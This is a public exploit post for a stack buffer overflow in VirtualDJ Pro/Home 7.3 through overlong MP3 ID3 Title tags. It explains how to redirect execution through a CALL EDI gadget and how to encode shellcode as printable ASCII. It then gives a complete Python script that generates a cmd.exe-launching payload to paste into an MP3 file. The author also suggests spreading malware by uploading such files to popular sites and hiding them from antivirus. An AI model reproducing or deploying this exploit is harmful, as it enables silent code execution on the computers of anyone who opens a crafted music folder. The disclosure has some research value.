VirtualDJ Pro/Home <=7.3 Buffer Overflow Vulnerability

# Exploit Title: VirtualDJ Pro/Home <=7.3 Buffer Overflow Vulnerability
# Date: 23.03.2013
# Exploit Author: Alexandro Sánchez Bach (functionmixer.blogspot.com)
# Vendor Homepage: http://www.virtualdj.com/
# Software Link: http://www.filehippo.com/en/download_virtualdj/14361/
# Version: VirtualDJ Pro/Home 7.3
# Tested on: Windows XP SP3

# Demo: http://www.youtube.com/watch?v=PJeaWqMJRm0
# Description:

When the user enters a folder, VirtualDJ tries to retrieve all information
from the ID3 tags of MP3 files inside such as �Title�, �Album�, and
�Artist� and stores it in a buffer. After that, a second buffer of length
4100 is allocated in the stack and only the characters A-Z from the first
buffer will be copied to it. According to the ID3 v2.x standard, these tags
can have length greater than 4100; therefore it is possible to produce a
buffer overflow in this second buffer. At the time when the buffer overflow
happens and the program reaches the RETN instruction, the EDI register
points to the first buffer.

We cannot assign the EIP the address of the first buffer directly since it
contains characters which are not in range A-Z. However if we take into
account the previous information, we can do this indirectly: We can set the
bytes of the title 4100:4104 = "FSFD". After the buffer overflows occurs we
get EIP = "FSFD" = 0x44465346. At this address (inside urlmon.dll) we find
a "CALL EDI" instruction and so the bytes in the first buffer will be
executed. Now we face another problem. VirtualDJ has inserted a "C3" byte
(RETN) before each non-printable ASCII character in the first buffer and we
cannot execute the shellcode directly. We can solve this by pushing into
the stack the bytes of the shellcode using only printable ASCII characters.
Let me explain:

Instead of pushing the bytes 0xB8, 0xFF, 0xEF, 0xFF (68FFEFFFB8) directly,
we can do exactly the same using only printable ASCII characters
(�%@@@@%????-R@D@-R@D@-R@D@-R?C?P�):

AND EAX, 40404040 //2540404040 == �%@@@@�
AND EAX, 3F3F3F3F //253F3F3F3F == �%????� <-- EAX = 0
SUB EAX, 40444052 //2D40444052 == �-R@D@�
SUB EAX, 40444052 //2D40444052 == �-R@D@�
SUB EAX, 40444052 //2D40444052 == �-R@D@�
SUB EAX, 3F433F52 //2D3F433F52 == �-R?C?� <-- EAX = FFEFFFB8
PUSH EAX // 50 == �P�

Once all the bytes of the shellcode are pushed into the stack (in inverse
order) we use PUSH ESP (0x54 == "T") and RETN (0xC3) to run the shellcode.
This time, it doesn't matter if VirtualDJ pushes another 0xC3 byte before
this one.

I think this is a pretty serious vulnerability since VirtualDJ is
considered the #1 software for mixing music with millions of downloads
around the world. By exploiting this vulnerability it would be possible to
spread quickly a malware just by uploading a malicious MP3 file in a
popular site. Even worse, I guess this file wouldn't be detected by any
antivirus. It should be also possible to "hide" the bytes of the exploit
behind the real title of the MP3 file and a lot of spaces. Because of that,
I hope they fix this as soon as possible.

#Exploit: VirtualDJ Pro/Home <=7.3 Buffer Overflow Vulnerability
#By: Alexandro Sánchez Bach | functionmixer.blogspot.com
#More info: http://www.youtube.com/watch?v=PJeaWqMJRm0

import string

def unicodeHex(c):
    c = hex(ord(c))[2:].upper()
    if len(c)==1:
        c = "0"+c
   
    return c+"00"

def movEAX(s):
    #Arrays
    s = map(ord, list(s))
    inst = []
    target = [512, 512, 512, 512]
    carry  = [0,-2,-2,-2]
    for i in range(4):
        if s[i] < 0x10:
            target[i] = 256
            if i < 3:
                carry[i+1] = -1
    diff = [target[b] - s[b] for b in range(4)]

    #Gen instructions
    for i in range(3):
        target = [target[b] - diff[b]/4 for b in range(4)]
        inst += [[diff[b]/4 for b in range(4)]]
    target = [target[b] - s[b] + carry[b] for b in range(4)]
    inst += [target]
   
    #Remove character '\'
    for b in range(4):
        if ord("[")  in [inst[i][b] for i in range(4)] or \
           ord("\\") in [inst[i][b] for i in range(4)] or \
           ord("]")  in [inst[i][b] for i in range(4)]:
            for i in range(4):
                inst[i][b] = inst[i][b]+5*((-1)**(i))
   
    inst  = ["\x2D"+"".join(map(chr, i)) for i in inst]
    return "".join(inst)

#Shellcode: Run cmd.exe
shellcode  = "\xB8\xFF\xEF\xFF\xFF\xF7\xD0\x2B\xE0\x55\x8B\xEC"
shellcode += "\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45"
shellcode += "\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45"
shellcode += "\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45"
shellcode += "\xF8\x50\xBB\xC7\x93\xBF\x77\xFF\xD3"
retAddress = "\xED\x1E\x94\x7C" # JMP ESP ntdll.dll WinXP SP2
shellcode += retAddress

while len(shellcode) % 4 != 0:
    shellcode += '\x90'
   

exploit = ""
for i in range(0,len(shellcode),4)[::-1]:
    exploit += "\x25\x40\x40\x40\x40\x25\x3F\x3F\x3F\x3F"  #EAX = 0
    exploit += movEAX(shellcode[i:i+4])  #EAX = shellcode[i:i+4]
    exploit += "\x50"  #PUSH EAX
exploit += '\x54' #PUSH ESP
exploit += '\xC3' #RET

c = 0
for i in exploit:
    if i in string.ascii_letters:
        c+=1
exploit +=  "A"*(4100-c)
exploit += "FSFD"

print exploit
#Paste the generated code in the tag 'Title' of the MP3 file.